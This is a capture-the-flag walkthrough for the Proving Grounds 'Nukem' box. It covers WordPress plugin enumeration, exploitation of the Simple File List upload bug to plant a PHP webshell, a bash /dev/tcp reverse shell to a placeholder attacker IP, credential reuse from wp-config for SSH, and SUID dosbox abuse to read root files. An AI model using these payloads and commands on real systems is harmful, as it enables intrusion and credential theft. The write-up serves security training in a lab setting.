# Nukem Writeup - Proving Grounds

> Intermediate Linux box running WordPress with the vulnerable Simple File List plugin, exploited via its arbitrary file upload bug (EDB-48979) for a shell, then escalated to root using a reused database password for SSH and a SUID dosbox binary that mounts the filesystem.

- **URL:** https://hackindex.io/writeups/nukem
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** file-upload, wordpress, suid, credential-reuse, information-disclosure
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Nukem runs WordPress with the vulnerable Simple File List plugin, whose arbitrary file upload bug (EDB-48979) drops a PHP webshell for a shell as `http`. The WordPress database password is reused for SSH, and a SUID DOS emulator lets that user mount and read the entire filesystem as root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
# PORT      STATE SERVICE VERSION
# 22/tcp    open  ssh     OpenSSH 8.3
# 80/tcp    open  http    Apache (WordPress 5.5.1)
# 3306/tcp  open  mysql   MariaDB
# 5000/tcp  open  http    Werkzeug 1.0.1
# 13000/tcp open  http    nginx
```

Port 80 is WordPress 5.5.1 with the TutorLMS plugin. Scan the plugins.

### WPScan

Enumerate plugins aggressively.

```bash
wpscan --url http://$TARGET_IP --enumerate ap --plugins-detection aggressive
# [+] simple-file-list
#  | Version: 4.2.2
#  | Location: http://$TARGET_IP/wp-content/plugins/simple-file-list/
# [+] tutor
#  | Version: 1.5.3
```

Simple File List 4.2.2 has a known arbitrary file upload vulnerability.

## Exploitation

### Simple File List arbitrary upload (EDB-48979)

The public exploit's default payload is a hardcoded reverse shell to a fixed IP with no way to change it from the command line, which just hangs. Patch the payload in the script to drop a webshell instead.

```bash
searchsploit -m 48979
sed -i 's|<?php passthru("bash -i .*"); ?>|<?php system($_REQUEST["cmd"]); ?>|' 48979.py
python3 48979.py http://$TARGET_IP
# [+] Uploading file...
# [+] File uploaded: /wp-content/uploads/simple-file-list/4003.php
```

Confirm execution through the uploaded webshell.

```bash
curl "http://$TARGET_IP/wp-content/uploads/simple-file-list/4003.php?cmd=id"
# uid=33(http) gid=33(http) groups=33(http)
```

Upgrade to a reverse shell. Start a listener first.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
curl "http://$TARGET_IP/wp-content/uploads/simple-file-list/4003.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
```

Shell as `http`. Stabilize it and check the WordPress config for database credentials.

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
cat /srv/http/wp-config.php | grep -i 'db_user\|db_password\|db_name'
# define( 'DB_NAME', 'wordpress' );
# define( 'DB_USER', 'commander' );
# define( 'DB_PASSWORD', '$COMMANDER_PASSWORD' );
```

## Privilege Escalation

### Credential reuse to SSH

Try the database password for the matching system account.

```bash
ssh commander@$TARGET_IP
# commander@nukem:~$ id
# uid=1000(commander) gid=1000(commander) groups=1000(commander),998(docker)
```

It works directly. Check for SUID binaries.

```bash
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/dosbox
# <snip - standard system binaries>
```

`/usr/bin/dosbox`, a DOS emulator, has the SUID bit and runs as root. It's also listening on a local VNC port.

```bash
ss -tlnp | grep 590
# LISTEN  127.0.0.1:5901
```

VNC is bound to localhost only, so tunnel it over SSH from the attacking machine.

### dosbox SUID exploitation

Open the tunnel, connect, and launch dosbox inside the session.

```bash
ssh -L 5901:127.0.0.1:5901 commander@$TARGET_IP
```

```bash
vncviewer 127.0.0.1:5901
```

Inside the VNC session, open a terminal and launch dosbox. Mount the real Linux filesystem as a DOS drive and read the root flag directly.

```
mount C /
C:
type C:\ROOT\PROOF.TXT
```

dosbox runs as root, so its mounted `C:` drive exposes the whole filesystem with root privileges, including the proof file. A sudoers edit through the same mount also works, but a `NOPASSWD` typo written as `NOPASS` breaks the file and locks sudo out entirely, so reading the flag directly is the safer path.

Related